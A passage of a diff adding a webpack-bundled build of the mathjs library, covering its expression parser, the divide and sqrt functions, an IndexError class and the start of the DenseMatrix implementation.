return node; + } + /** + * bitwise exclusive or (xor), 'x ^| y' + * @return {Node} node + * @private + */ + + + function parseBitwiseXor(state) { + var node = parseBitwiseAnd(state); + + while (state.token === '^|') { + // eslint-disable-line no-unmodified-loop-condition + getTokenSkipNewline(state); + node = new OperatorNode('^|', 'bitXor', [node, parseBitwiseAnd(state)]); + } + + return node; + } + /** + * bitwise and, 'x & y' + * @return {Node} node + * @private + */ + + + function parseBitwiseAnd(state) { + var node = parseRelational(state); + + while (state.token === '&') { + // eslint-disable-line no-unmodified-loop-condition + getTokenSkipNewline(state); + node = new OperatorNode('&', 'bitAnd', [node, parseRelational(state)]); + } + + return node; + } + /** + * Parse a chained conditional, like 'a > b >= c' + * @return {Node} node + */ + + + function parseRelational(state) { + var params = [parseShift(state)]; + var conditionals = []; + var operators = { + '==': 'equal', + '!=': 'unequal', + '<': 'smaller', + '>': 'larger', + '<=': 'smallerEq', + '>=': 'largerEq' + }; + + while (operators.hasOwnProperty(state.token)) { + // eslint-disable-line no-unmodified-loop-condition + var cond = { + name: state.token, + fn: operators[state.token] + }; + conditionals.push(cond); + getTokenSkipNewline(state); + params.push(parseShift(state)); + } + + if (params.length === 1) { + return params[0]; + } else if (params.length === 2) { + return new OperatorNode(conditionals[0].name, conditionals[0].fn, params); + } else { + return new RelationalNode(conditionals.map(function (c) { + return c.fn; + }), params); + } + } + /** + * Bitwise left shift, bitwise right arithmetic shift, bitwise right logical shift + * @return {Node} node + * @private + */ + + + function parseShift(state) { + var node, operators, name, fn, params; + node = parseConversion(state); + operators = { + '<<': 'leftShift', + '>>': 'rightArithShift', + '>>>': 'rightLogShift' + }; + + while (operators.hasOwnProperty(state.token)) { + name = state.token; + fn = operators[name]; + getTokenSkipNewline(state); + params = [node, parseConversion(state)]; + node = new OperatorNode(name, fn, params); + } + + return node; + } + /** + * conversion operators 'to' and 'in' + * @return {Node} node + * @private + */ + + + function parseConversion(state) { + var node, operators, name, fn, params; + node = parseRange(state); + operators = { + 'to': 'to', + 'in': 'to' // alias of 'to' + + }; + + while (operators.hasOwnProperty(state.token)) { + name = state.token; + fn = operators[name]; + getTokenSkipNewline(state); + + if (name === 'in' && state.token === '') { + // end of expression -> this is the unit 'in' ('inch') + node = new OperatorNode('*', 'multiply', [node, new SymbolNode('in')], true); + } else { + // operator 'a to b' or 'a in b' + params = [node, parseRange(state)]; + node = new OperatorNode(name, fn, params); + } + } + + return node; + } + /** + * parse range, "start:end", "start:step:end", ":", "start:", ":end", etc + * @return {Node} node + * @private + */ + + + function parseRange(state) { + var node; + var params = []; + + if (state.token === ':') { + // implicit start=1 (one-based) + node = new ConstantNode(1); + } else { + // explicit start + node = parseAddSubtract(state); + } + + if (state.token === ':' && state.conditionalLevel !== state.nestingLevel) { + // we ignore the range operator when a conditional operator is being processed on the same level + params.push(node); // parse step and end + + while (state.token === ':' && params.length < 3) { + // eslint-disable-line no-unmodified-loop-condition + getTokenSkipNewline(state); + + if (state.token === ')' || state.token === ']' || state.token === ',' || state.token === '') { + // implicit end + params.push(new SymbolNode('end')); + } else { + // explicit end + params.push(parseAddSubtract(state)); + } + } + + if (params.length === 3) { + // params = [start, step, end] + node = new RangeNode(params[0], params[2], params[1]); // start, end, step + } else { + // length === 2 + // params = [start, end] + node = new RangeNode(params[0], params[1]); // start, end + } + } + + return node; + } + /** + * add or subtract + * @return {Node} node + * @private + */ + + + function parseAddSubtract(state) { + var node, operators, name, fn, params; + node = parseMultiplyDivide(state); + operators = { + '+': 'add', + '-': 'subtract' + }; + + while (operators.hasOwnProperty(state.token)) { + name = state.token; + fn = operators[name]; + getTokenSkipNewline(state); + params = [node, parseMultiplyDivide(state)]; + node = new OperatorNode(name, fn, params); + } + + return node; + } + /** + * multiply, divide, modulus + * @return {Node} node + * @private + */ + + + function parseMultiplyDivide(state) { + var node, last, operators, name, fn; + node = parseImplicitMultiplication(state); + last = node; + operators = { + '*': 'multiply', + '.*': 'dotMultiply', + '/': 'divide', + './': 'dotDivide', + '%': 'mod', + 'mod': 'mod' + }; + + while (true) { + if (operators.hasOwnProperty(state.token)) { + // explicit operators + name = state.token; + fn = operators[name]; + getTokenSkipNewline(state); + last = parseImplicitMultiplication(state); + node = new OperatorNode(name, fn, [node, last]); + } else { + break; + } + } + + return node; + } + /** + * implicit multiplication + * @return {Node} node + * @private + */ + + + function parseImplicitMultiplication(state) { + var node, last; + node = parseRule2(state); + last = node; + + while (true) { + if (state.tokenType === TOKENTYPE.SYMBOL || state.token === 'in' && type.isConstantNode(node) || state.tokenType === TOKENTYPE.NUMBER && !type.isConstantNode(last) && (!type.isOperatorNode(last) || last.op === '!') || state.token === '(') { + // parse implicit multiplication + // + // symbol: implicit multiplication like '2a', '(2+3)a', 'a b' + // number: implicit multiplication like '(2+3)2' + // parenthesis: implicit multiplication like '2(3+4)', '(3+4)(1+2)' + last = parseRule2(state); + node = new OperatorNode('*', 'multiply', [node, last], true + /* implicit */ + ); + } else { + break; + } + } + + return node; + } + /** + * Infamous "rule 2" as described in https://github.com/josdejong/mathjs/issues/792#issuecomment-361065370 + * Explicit division gets higher precedence than implicit multiplication + * when the division matches this pattern: [number] / [number] [symbol] + * @return {Node} node + * @private + */ + + + function parseRule2(state) { + var node = parseUnary(state); + var last = node; + var tokenStates = []; + + while (true) { + // Match the "number /" part of the pattern "number / number symbol" + if (state.token === '/' && type.isConstantNode(last)) { + // Look ahead to see if the next token is a number + tokenStates.push(_extends({}, state)); + getTokenSkipNewline(state); // Match the "number / number" part of the pattern + + if (state.tokenType === TOKENTYPE.NUMBER) { + // Look ahead again + tokenStates.push(_extends({}, state)); + getTokenSkipNewline(state); // Match the "symbol" part of the pattern, or a left parenthesis + + if (state.tokenType === TOKENTYPE.SYMBOL || state.token === '(') { + // We've matched the pattern "number / number symbol". + // Rewind once and build the "number / number" node; the symbol will be consumed later + _extends(state, tokenStates.pop()); + + tokenStates.pop(); + last = parseUnary(state); + node = new OperatorNode('/', 'divide', [node, last]); + } else { + // Not a match, so rewind + tokenStates.pop(); + + _extends(state, tokenStates.pop()); + + break; + } + } else { + // Not a match, so rewind + _extends(state, tokenStates.pop()); + + break; + } + } else { + break; + } + } + + return node; + } + /** + * Unary plus and minus, and logical and bitwise not + * @return {Node} node + * @private + */ + + + function parseUnary(state) { + var name, params, fn; + var operators = { + '-': 'unaryMinus', + '+': 'unaryPlus', + '~': 'bitNot', + 'not': 'not' + }; + + if (operators.hasOwnProperty(state.token)) { + fn = operators[state.token]; + name = state.token; + getTokenSkipNewline(state); + params = [parseUnary(state)]; + return new OperatorNode(name, fn, params); + } + + return parsePow(state); + } + /** + * power + * Note: power operator is right associative + * @return {Node} node + * @private + */ + + + function parsePow(state) { + var node, name, fn, params; + node = parseLeftHandOperators(state); + + if (state.token === '^' || state.token === '.^') { + name = state.token; + fn = name === '^' ? 'pow' : 'dotPow'; + getTokenSkipNewline(state); + params = [node, parseUnary(state)]; // Go back to unary, we can have '2^-3' + + node = new OperatorNode(name, fn, params); + } + + return node; + } + /** + * Left hand operators: factorial x!, ctranspose x' + * @return {Node} node + * @private + */ + + + function parseLeftHandOperators(state) { + var node, operators, name, fn, params; + node = parseCustomNodes(state); + operators = { + '!': 'factorial', + '\'': 'ctranspose' + }; + + while (operators.hasOwnProperty(state.token)) { + name = state.token; + fn = operators[name]; + getToken(state); + params = [node]; + node = new OperatorNode(name, fn, params); + node = parseAccessors(state, node); + } + + return node; + } + /** + * Parse a custom node handler. A node handler can be used to process + * nodes in a custom way, for example for handling a plot. + * + * A handler must be passed as second argument of the parse function. + * - must extend math.expression.node.Node + * - must contain a function _compile(defs: Object) : string + * - must contain a function find(filter: Object) : Node[] + * - must contain a function toString() : string + * - the constructor is called with a single argument containing all parameters + * + * For example: + * + * nodes = { + * 'plot': PlotHandler + * } + * + * The constructor of the handler is called as: + * + * node = new PlotHandler(params) + * + * The handler will be invoked when evaluating an expression like: + * + * node = math.parse('plot(sin(x), x)', nodes) + * + * @return {Node} node + * @private + */ + + + function parseCustomNodes(state) { + var params = []; + + if (state.tokenType === TOKENTYPE.SYMBOL && state.extraNodes.hasOwnProperty(state.token)) { + var CustomNode = state.extraNodes[state.token]; + getToken(state); // parse parameters + + if (state.token === '(') { + params = []; + openParams(state); + getToken(state); + + if (state.token !== ')') { + params.push(parseAssignment(state)); // parse a list with parameters + + while (state.token === ',') { + // eslint-disable-line no-unmodified-loop-condition + getToken(state); + params.push(parseAssignment(state)); + } + } + + if (state.token !== ')') { + throw createSyntaxError(state, 'Parenthesis ) expected'); + } + + closeParams(state); + getToken(state); + } // create a new custom node + // noinspection JSValidateTypes + + + return new CustomNode(params); + } + + return parseSymbol(state); + } + /** + * parse symbols: functions, variables, constants, units + * @return {Node} node + * @private + */ + + + function parseSymbol(state) { + var node, name; + + if (state.tokenType === TOKENTYPE.SYMBOL || state.tokenType === TOKENTYPE.DELIMITER && state.token in NAMED_DELIMITERS) { + name = state.token; + getToken(state); + + if (CONSTANTS.hasOwnProperty(name)) { + // true, false, null, ... + node = new ConstantNode(CONSTANTS[name]); + } else if (NUMERIC_CONSTANTS.indexOf(name) !== -1) { + // NaN, Infinity + node = new ConstantNode(numeric(name, 'number')); + } else { + node = new SymbolNode(name); + } // parse function parameters and matrix index + + + node = parseAccessors(state, node); + return node; + } + + return parseDoubleQuotesString(state); + } + /** + * parse accessors: + * - function invocation in round brackets (...), for example sqrt(2) + * - index enclosed in square brackets [...], for example A[2,3] + * - dot notation for properties, like foo.bar + * @param {Node} node Node on which to apply the parameters. If there + * are no parameters in the expression, the node + * itself is returned + * @param {string[]} [types] Filter the types of notations + * can be ['(', '[', '.'] + * @return {Node} node + * @private + */ + + + function parseAccessors(state, node, types) { + var params; + + while ((state.token === '(' || state.token === '[' || state.token === '.') && (!types || types.indexOf(state.token) !== -1)) { + // eslint-disable-line no-unmodified-loop-condition + params = []; + + if (state.token === '(') { + if (type.isSymbolNode(node) || type.isAccessorNode(node)) { + // function invocation like fn(2, 3) or obj.fn(2, 3) + openParams(state); + getToken(state); + + if (state.token !== ')') { + params.push(parseAssignment(state)); // parse a list with parameters + + while (state.token === ',') { + // eslint-disable-line no-unmodified-loop-condition + getToken(state); + params.push(parseAssignment(state)); + } + } + + if (state.token !== ')') { + throw createSyntaxError(state, 'Parenthesis ) expected'); + } + + closeParams(state); + getToken(state); + node = new FunctionNode(node, params); + } else { + // implicit multiplication like (2+3)(4+5) or sqrt(2)(1+2) + // don't parse it here but let it be handled by parseImplicitMultiplication + // with correct precedence + return node; + } + } else if (state.token === '[') { + // index notation like variable[2, 3] + openParams(state); + getToken(state); + + if (state.token !== ']') { + params.push(parseAssignment(state)); // parse a list with parameters + + while (state.token === ',') { + // eslint-disable-line no-unmodified-loop-condition + getToken(state); + params.push(parseAssignment(state)); + } + } + + if (state.token !== ']') { + throw createSyntaxError(state, 'Parenthesis ] expected'); + } + + closeParams(state); + getToken(state); + node = new AccessorNode(node, new IndexNode(params)); + } else { + // dot notation like variable.prop + getToken(state); + + if (state.tokenType !== TOKENTYPE.SYMBOL) { + throw createSyntaxError(state, 'Property name expected after dot'); + } + + params.push(new ConstantNode(state.token)); + getToken(state); + var dotNotation = true; + node = new AccessorNode(node, new IndexNode(params, dotNotation)); + } + } + + return node; + } + /** + * Parse a double quotes string. + * @return {Node} node + * @private + */ + + + function parseDoubleQuotesString(state) { + var node, str; + + if (state.token === '"') { + str = parseDoubleQuotesStringToken(state); // create constant + + node = new ConstantNode(str); // parse index parameters + + node = parseAccessors(state, node); + return node; + } + + return parseSingleQuotesString(state); + } + /** + * Parse a string surrounded by double quotes "..." + * @return {string} + */ + + + function parseDoubleQuotesStringToken(state) { + var str = ''; + + while (currentCharacter(state) !== '' && currentCharacter(state) !== '"') { + if (currentCharacter(state) === '\\') { + // escape character, immediately process the next + // character to prevent stopping at a next '\"' + str += currentCharacter(state); + next(state); + } + + str += currentCharacter(state); + next(state); + } + + getToken(state); + + if (state.token !== '"') { + throw createSyntaxError(state, 'End of string " expected'); + } + + getToken(state); + return JSON.parse('"' + str + '"'); // unescape escaped characters + } + /** + * Parse a single quotes string. + * @return {Node} node + * @private + */ + + + function parseSingleQuotesString(state) { + var node, str; + + if (state.token === '\'') { + str = parseSingleQuotesStringToken(state); // create constant + + node = new ConstantNode(str); // parse index parameters + + node = parseAccessors(state, node); + return node; + } + + return parseMatrix(state); + } + /** + * Parse a string surrounded by single quotes '...' + * @return {string} + */ + + + function parseSingleQuotesStringToken(state) { + var str = ''; + + while (currentCharacter(state) !== '' && currentCharacter(state) !== '\'') { + if (currentCharacter(state) === '\\') { + // escape character, immediately process the next + // character to prevent stopping at a next '\'' + str += currentCharacter(state); + next(state); + } + + str += currentCharacter(state); + next(state); + } + + getToken(state); + + if (state.token !== '\'') { + throw createSyntaxError(state, 'End of string \' expected'); + } + + getToken(state); + return JSON.parse('"' + str + '"'); // unescape escaped characters + } + /** + * parse the matrix + * @return {Node} node + * @private + */ + + + function parseMatrix(state) { + var array, params, rows, cols; + + if (state.token === '[') { + // matrix [...] + openParams(state); + getToken(state); + + if (state.token !== ']') { + // this is a non-empty matrix + var row = parseRow(state); + + if (state.token === ';') { + // 2 dimensional array + rows = 1; + params = [row]; // the rows of the matrix are separated by dot-comma's + + while (state.token === ';') { + // eslint-disable-line no-unmodified-loop-condition + getToken(state); + params[rows] = parseRow(state); + rows++; + } + + if (state.token !== ']') { + throw createSyntaxError(state, 'End of matrix ] expected'); + } + + closeParams(state); + getToken(state); // check if the number of columns matches in all rows + + cols = params[0].items.length; + + for (var r = 1; r < rows; r++) { + if (params[r].items.length !== cols) { + throw createError(state, 'Column dimensions mismatch ' + '(' + params[r].items.length + ' !== ' + cols + ')'); + } + } + + array = new ArrayNode(params); + } else { + // 1 dimensional vector + if (state.token !== ']') { + throw createSyntaxError(state, 'End of matrix ] expected'); + } + + closeParams(state); + getToken(state); + array = row; + } + } else { + // this is an empty matrix "[ ]" + closeParams(state); + getToken(state); + array = new ArrayNode([]); + } + + return parseAccessors(state, array); + } + + return parseObject(state); + } + /** + * Parse a single comma-separated row from a matrix, like 'a, b, c' + * @return {ArrayNode} node + */ + + + function parseRow(state) { + var params = [parseAssignment(state)]; + var len = 1; + + while (state.token === ',') { + // eslint-disable-line no-unmodified-loop-condition + getToken(state); // parse expression + + params[len] = parseAssignment(state); + len++; + } + + return new ArrayNode(params); + } + /** + * parse an object, enclosed in angle brackets{...}, for example {value: 2} + * @return {Node} node + * @private + */ + + + function parseObject(state) { + if (state.token === '{') { + openParams(state); + var key; + var properties = {}; + + do { + getToken(state); + + if (state.token !== '}') { + // parse key + if (state.token === '"') { + key = parseDoubleQuotesStringToken(state); + } else if (state.token === '\'') { + key = parseSingleQuotesStringToken(state); + } else if (state.tokenType === TOKENTYPE.SYMBOL) { + key = state.token; + getToken(state); + } else { + throw createSyntaxError(state, 'Symbol or string expected as object key'); + } // parse key/value separator + + + if (state.token !== ':') { + throw createSyntaxError(state, 'Colon : expected after object key'); + } + + getToken(state); // parse key + + properties[key] = parseAssignment(state); + } + } while (state.token === ','); // eslint-disable-line no-unmodified-loop-condition + + + if (state.token !== '}') { + throw createSyntaxError(state, 'Comma , or bracket } expected after object value'); + } + + closeParams(state); + getToken(state); + var node = new ObjectNode(properties); // parse index parameters + + node = parseAccessors(state, node); + return node; + } + + return parseNumber(state); + } + /** + * parse a number + * @return {Node} node + * @private + */ + + + function parseNumber(state) { + var numberStr; + + if (state.tokenType === TOKENTYPE.NUMBER) { + // this is a number + numberStr = state.token; + getToken(state); + return new ConstantNode(numeric(numberStr, config.number)); + } + + return parseParentheses(state); + } + /** + * parentheses + * @return {Node} node + * @private + */ + + + function parseParentheses(state) { + var node; // check if it is a parenthesized expression + + if (state.token === '(') { + // parentheses (...) + openParams(state); + getToken(state); + node = parseAssignment(state); // start again + + if (state.token !== ')') { + throw createSyntaxError(state, 'Parenthesis ) expected'); + } + + closeParams(state); + getToken(state); + node = new ParenthesisNode(node); + node = parseAccessors(state, node); + return node; + } + + return parseEnd(state); + } + /** + * Evaluated when the expression is not yet ended but expected to end + * @return {Node} res + * @private + */ + + + function parseEnd(state) { + if (state.token === '') { + // syntax error or unexpected end of expression + throw createSyntaxError(state, 'Unexpected end of expression'); + } else { + throw createSyntaxError(state, 'Value expected'); + } + } + /** + * Shortcut for getting the current row value (one based) + * Returns the line of the currently handled expression + * @private + */ + + /* TODO: implement keeping track on the row number + function row () { + return null + } + */ + + /** + * Shortcut for getting the current col value (one based) + * Returns the column (position) where the last state.token starts + * @private + */ + + + function col(state) { + return state.index - state.token.length + 1; + } + /** + * Create an error + * @param {string} message + * @return {SyntaxError} instantiated error + * @private + */ + + + function createSyntaxError(state, message) { + var c = col(state); + var error = new SyntaxError(message + ' (char ' + c + ')'); + error['char'] = c; + return error; + } + /** + * Create an error + * @param {string} message + * @return {Error} instantiated error + * @private + */ + + + function createError(state, message) { + var c = col(state); + var error = new SyntaxError(message + ' (char ' + c + ')'); + error['char'] = c; + return error; + } + + return parse; +} + +exports.name = 'parse'; +exports.path = 'expression'; +exports.factory = factory; + +/***/ }), +/* 45 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var extend = __webpack_require__(5).extend; + +function factory(type, config, load, typed) { + var divideScalar = load(__webpack_require__(12)); + var multiply = load(__webpack_require__(10)); + var inv = load(__webpack_require__(70)); + var matrix = load(__webpack_require__(0)); + var algorithm11 = load(__webpack_require__(20)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Divide two values, `x / y`. + * To divide matrices, `x` is multiplied with the inverse of `y`: `x * inv(y)`. + * + * Syntax: + * + * math.divide(x, y) + * + * Examples: + * + * math.divide(2, 3) // returns number 0.6666666666666666 + * + * const a = math.complex(5, 14) + * const b = math.complex(4, 1) + * math.divide(a, b) // returns Complex 2 + 3i + * + * const c = [[7, -6], [13, -4]] + * const d = [[1, 2], [4, 3]] + * math.divide(c, d) // returns Array [[-9, 4], [-11, 6]] + * + * const e = math.unit('18 km') + * math.divide(e, 4.5) // returns Unit 4 km + * + * See also: + * + * multiply + * + * @param {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} x Numerator + * @param {number | BigNumber | Fraction | Complex | Array | Matrix} y Denominator + * @return {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} Quotient, `x / y` + */ + + var divide = typed('divide', extend({ + // we extend the signatures of divideScalar with signatures dealing with matrices + 'Array | Matrix, Array | Matrix': function ArrayMatrixArrayMatrix(x, y) { + // TODO: implement matrix right division using pseudo inverse + // https://www.mathworks.nl/help/matlab/ref/mrdivide.html + // https://www.gnu.org/software/octave/doc/interpreter/Arithmetic-Ops.html + // https://stackoverflow.com/questions/12263932/how-does-gnu-octave-matrix-division-work-getting-unexpected-behaviour + return multiply(x, inv(y)); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, divideScalar, false); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm11(x, y, divideScalar, false); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, divideScalar, false).valueOf(); + }, + 'any, Array | Matrix': function anyArrayMatrix(x, y) { + return multiply(x, inv(y)); + } + }, divideScalar.signatures)); + divide.toTex = { + 2: "\\frac{${args[0]}}{${args[1]}}" + }; + return divide; +} + +exports.name = 'divide'; +exports.factory = factory; + +/***/ }), +/* 46 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the square root of a value. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.sqrt(x) + * + * Examples: + * + * math.sqrt(25) // returns 5 + * math.square(5) // returns 25 + * math.sqrt(-4) // returns Complex 2i + * + * See also: + * + * square, multiply, cube, cbrt, sqrtm + * + * @param {number | BigNumber | Complex | Array | Matrix | Unit} x + * Value for which to calculate the square root. + * @return {number | BigNumber | Complex | Array | Matrix | Unit} + * Returns the square root of `x` + */ + var sqrt = typed('sqrt', { + 'number': _sqrtNumber, + 'Complex': function Complex(x) { + return x.sqrt(); + }, + 'BigNumber': function BigNumber(x) { + if (!x.isNegative() || config.predictable) { + return x.sqrt(); + } else { + // negative value -> downgrade to number to do complex value computation + return _sqrtNumber(x.toNumber()); + } + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since sqrt(0) = 0 + return deepMap(x, sqrt, true); + }, + 'Unit': function Unit(x) { + // Someday will work for complex units when they are implemented + return x.pow(0.5); + } + }); + /** + * Calculate sqrt for a number + * @param {number} x + * @returns {number | Complex} Returns the square root of x + * @private + */ + + function _sqrtNumber(x) { + if (isNaN(x)) { + return NaN; + } else if (x >= 0 || config.predictable) { + return Math.sqrt(x); + } else { + return new type.Complex(x, 0).sqrt(); + } + } + + sqrt.toTex = { + 1: "\\sqrt{${args[0]}}" + }; + return sqrt; +} + +exports.name = 'sqrt'; +exports.factory = factory; + +/***/ }), +/* 47 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isMatrix = __webpack_require__(56); +/** + * Recursively loop over all elements in a given multi dimensional array + * and invoke the callback on each of the elements. + * @param {Array | Matrix} array + * @param {Function} callback The callback method is invoked with one + * parameter: the current element in the array + */ + + +module.exports = function deepForEach(array, callback) { + if (isMatrix(array)) { + array = array.valueOf(); + } + + for (var i = 0, ii = array.length; i < ii; i++) { + var value = array[i]; + + if (Array.isArray(value)) { + deepForEach(value, callback); + } else { + callback(value); + } + } +}; + +/***/ }), +/* 48 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +/** + * Create a range error with the message: + * 'Index out of range (index < min)' + * 'Index out of range (index < max)' + * + * @param {number} index The actual index + * @param {number} [min=0] Minimum index (included) + * @param {number} [max] Maximum index (excluded) + * @extends RangeError + */ + +function IndexError(index, min, max) { + if (!(this instanceof IndexError)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + this.index = index; + + if (arguments.length < 3) { + this.min = 0; + this.max = min; + } else { + this.min = min; + this.max = max; + } + + if (this.min !== undefined && this.index < this.min) { + this.message = 'Index out of range (' + this.index + ' < ' + this.min + ')'; + } else if (this.max !== undefined && this.index >= this.max) { + this.message = 'Index out of range (' + this.index + ' > ' + (this.max - 1) + ')'; + } else { + this.message = 'Index out of range (' + this.index + ')'; + } + + this.stack = new Error().stack; +} + +IndexError.prototype = new RangeError(); +IndexError.prototype.constructor = RangeError; +IndexError.prototype.name = 'IndexError'; +IndexError.prototype.isIndexError = true; +module.exports = IndexError; + +/***/ }), +/* 49 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var util = __webpack_require__(31); + +var DimensionError = __webpack_require__(8); + +var string = util.string; +var array = util.array; +var object = util.object; +var number = util.number; +var isArray = Array.isArray; +var isNumber = number.isNumber; +var isInteger = number.isInteger; +var isString = string.isString; +var validateIndex = array.validateIndex; + +function factory(type, config, load, typed) { + var getArrayDataType = load(__webpack_require__(63)); + var Matrix = load(__webpack_require__(84)); // force loading Matrix (do not use via type.Matrix) + + /** + * Dense Matrix implementation. A regular, dense matrix, supporting multi-dimensional matrices. This is the default matrix type. + * @class DenseMatrix + */ + + function DenseMatrix(data, datatype) { + if (!(this instanceof DenseMatrix)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + if (datatype && !isString(datatype)) { + throw new Error('Invalid datatype: ' + datatype); + } + + if (type.isMatrix(data)) { + // check data is a DenseMatrix + if (data.type === 'DenseMatrix') { + // clone data & size + this._data = object.clone(data._data); + this._size = object.clone(data._size); + this._datatype = datatype || data._datatype; + } else { + // build data from existing matrix + this._data = data.toArray(); + this._size = data.size(); + this._datatype = datatype || data._datatype; + } + } else if (data && isArray(data.data) && isArray(data.size)) { + // initialize fields from JSON representation + this._data = data.data; + this._size = data.size; + this._datatype = datatype || data.datatype; + } else if (isArray(data)) { + // replace nested Matrices with Arrays + this._data = preprocess(data); // get the dimensions of the array + + this._size = array.size(this._data); // verify the dimensions of the array, TODO: compute size while processing array + + array.validate(this._data, this._size); // data type unknown + + this._datatype = datatype; + } else if (data) { + // unsupported type + throw new TypeError('Unsupported type of data (' + util.types.type(data) + ')'); + } else { + // nothing provided + this._data = []; + this._size = [0]; + this._datatype = datatype; + } + } + + DenseMatrix.prototype = new Matrix(); + /** + * Attach type information + */ + + DenseMatrix.prototype.type = 'DenseMatrix'; + DenseMatrix.prototype.isDenseMatrix = true; + /** + * Get the matrix type + * + * Usage: + * const matrixType = matrix.getDataType() // retrieves the matrix type + * + * @memberOf DenseMatrix + * @return {string} type information; if multiple types are found from the Matrix, it will return "mixed" + */ + + DenseMatrix.prototype.getDataType = function () { + return getArrayDataType(this._data); + }; + /** + * Get the storage format used by the matrix. + * + * Usage: + * const format = matrix.storage() // retrieve storage format + * + * @memberof DenseMatrix + * @return {string} The storage format. + */ + + + DenseMatrix.prototype.storage = function () { + return 'dense'; + }; + /** + * Get the datatype of the data stored in the matrix. + * + * Usage: + * const format = matrix.datatype() // retrieve matrix datatype + * + * @memberof DenseMatrix + * @return {string} The datatype. + */ + + + DenseMatrix.prototype.datatype = function () { + return this._datatype; + }; + /** + * Create a new DenseMatrix + * @memberof DenseMatrix + * @param {Array} data + * @param {string} [datatype] + */ + + + DenseMatrix.prototype.create = function (data, datatype) { + return new DenseMatrix(data, datatype); + }; + /** + * Get a subset of the matrix, or replace a subset of the matrix. + * + * Usage: + * const subset = matrix.subset(index) // retrieve subset + * const value = matrix.subset(index, replacement) // replace subset + * + * @memberof DenseMatrix + * @param {Index} index + * @param {Array | Matrix | *} [replacement] + * @param {*} [defaultValue=0] Default value, filled in on new entries when + * the matrix is resized. If not provided, + * new matrix elements will be filled with zeros. + */ + + + DenseMatrix.prototype.subset = function (index, replacement, defaultValue) { + switch (arguments.length) { + case 1: + return _get(this, index); + // intentional fall through + + case 2: + case 3: + return _set(this, index, replacement, defaultValue); + + default: + throw new SyntaxError('Wrong number of arguments'); + } + }; + /** + * Get a single element from the matrix. + * @memberof DenseMatrix + * @param {number[]} index Zero-based index + * @return {*} value + */ + + + DenseMatrix.prototype.get = function (index) { + if (!isArray(index)) { + throw new TypeError('Array expected'); + } + + if (index.length !== this._size.length) { + throw new DimensionError(index.length, this._size.length); + } // check index + + + for (var x = 0; x < index.length; x++) { + validateIndex(index[x], this._size[x]); + } + + var data = this._data; + + for (var i = 0, ii = index.length; i < ii; i++) { + var indexI = index[i]; + validateIndex(indexI, data.length); + data = data[indexI]; + } + + return data; + }; + /** + * Replace a single element in the matrix. + * @memberof DenseMatrix + * @param {number[]} index Zero-based index + * @param {*} value + * @param {*} [defaultValue] Default value, filled in on new entries when + * the matrix is resized. If not provided, + * new matrix elements will be left undefined. + * @return {DenseMatrix} self + */ + + + DenseMatrix.prototype.set = function (index, value, defaultValue) { + if (!isArray(index)) { + throw new TypeError('Array expected'); + } + + if (index.length < this._size.length) { + throw new DimensionError(index.length, this._size.length, '<'); + } + + var i, ii, indexI; // enlarge matrix when needed + + var size = index.map(function (i) { + return i + 1; + }); + + _fit(this, size, defaultValue); // traverse over the dimensions + + + var data = this._data; + + for (i = 0, ii = index.length - 1; i < ii; i++) { + indexI = index[i]; + validateIndex(indexI, data.length); + data = data[indexI]; + } // set new value + + + indexI = index[index.length - 1]; + validateIndex(indexI, data.length); + data[indexI] = value; + return this; + }; + /** + * Get a submatrix of this matrix + * @memberof DenseMatrix + * @param {DenseMatrix} matrix + * @param {Index} index Zero-based index + * @private + */ + + + function _get(matrix, index) { + if (!type.isIndex(index)) { + throw new TypeError('Invalid index'); + } + + var isScalar = index.isScalar(); + + if (isScalar) { + // return a scalar + return matrix.get(index.min()); + } else { + // validate dimensions + var size = index.size(); + + if (size.length !== matrix._size.length) { + throw new DimensionError(size.length, matrix._size.length); + } // validate if any of the ranges in the index is out of range + + + var min = index.min(); + var max = index.max(); + + for (var i = 0, ii = matrix._size.length; i < ii; i++) { + validateIndex(min[i], matrix._size[i]); + validateIndex(max[i], matrix._size[i]); + } // retrieve submatrix + // TODO: more efficient when creating an empty matrix and setting _data and _size manually + + + return new DenseMatrix(_getSubmatrix(matrix._data, index, size.length, 0), matrix._datatype); + } + } + /** + * Recursively get a submatrix of a multi dimensional matrix. + * Index is not checked for correct number or length of dimensions. + * @memberof DenseMatrix + * @param {Array} data + * @param {Index} index + * @param {number} dims Total number of dimensions + * @param {number} dim Current dimension + * @return {Array} submatrix + * @private + */ + + + function _getSubmatrix(data, index, dims, dim) { + var last = dim === dims - 1; + var range = index.dimension(dim); + + if (last) { + return range.map(function (i) { + validateIndex(i, data.length); + return data[i]; + }).valueOf(); + } else { + return range.map(function (i) { + validateIndex(i, data.length); + var child = data[i]; + return _getSubmatrix(child, index, dims, dim + 1); + }).valueOf(); + } + } + /** + * Replace a submatrix in this matrix + * Indexes are zero-based. + * @memberof DenseMatrix + * @param {DenseMatrix} matrix + * @param {Index} index + * @param {DenseMatrix | Array | *} submatrix + * @param {*} defaultValue Default value, filled in on new entries when + * the matrix is resized. + * @return {DenseMatrix} matrix + * @private + */ + + + function _set(matrix, index, submatrix, defaultValue) { + if (!index || index.isIndex !== true) { + throw new TypeError('Invalid index'); + } // get index size and check whether the index contains a single value + + + var iSize = index.size(); + var isScalar = index.isScalar(); // calculate the size of the submatrix, and convert it into an Array if needed + + var sSize; + + if (type.isMatrix(submatrix)) { + sSize = submatrix.size(); + submatrix = submatrix.valueOf(); + } else { + sSize = array.size(submatrix); + } + + if (isScalar) { + // set a scalar + // check whether submatrix is a scalar + if (sSize.length !== 0) { + throw new TypeError('Scalar expected'); + } + + matrix.set(index.min(), submatrix, defaultValue); + } else { + // set a 